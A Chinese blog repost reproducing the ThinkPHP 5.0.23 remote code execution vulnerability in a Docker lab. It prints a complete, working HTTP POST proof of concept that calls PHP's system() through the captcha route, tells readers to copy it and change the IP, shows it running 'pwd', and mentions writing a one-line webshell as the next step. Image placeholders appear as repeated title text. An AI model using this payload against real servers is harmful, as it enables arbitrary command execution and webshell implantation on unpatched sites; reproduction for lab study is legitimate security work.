ThinkPHP 5.0.23 远程代码执行漏洞复现 – 作者:cloudcoll

admin 2021年8月2日21:31:09安全网站文章评论53阅读模式

一、使用docker搭建环境

docker安装及搭建环境教程:https://www.freebuf.com/sectool/252257.html

ThinkPHP 5.0.23 远程代码执行漏洞复现 – 作者:cloudcoll

访问页面     ThinkPHP 5.0.23 远程代码执行漏洞复现 – 作者:cloudcoll

二、漏洞利用

1、执行命令poc (复制所有代码改ip)

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.220.141:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 73

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

执行了命令pwd

ThinkPHP 5.0.23 远程代码执行漏洞复现 – 作者:cloudcoll

2、写一句话

ThinkPHP 5.0.23 远程代码执行漏洞复现 – 作者:cloudcollThinkPHP 5.0.23 远程代码执行漏洞复现 – 作者:cloudcoll

来源:freebuf.com 2020-11-11 14:37:12 by: cloudcoll

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2021年8月2日21:31:09
  • 转载请保留本文链接:https://aqxbk.com/archives/security/securitysite/2021/08_02/65358.html

发表评论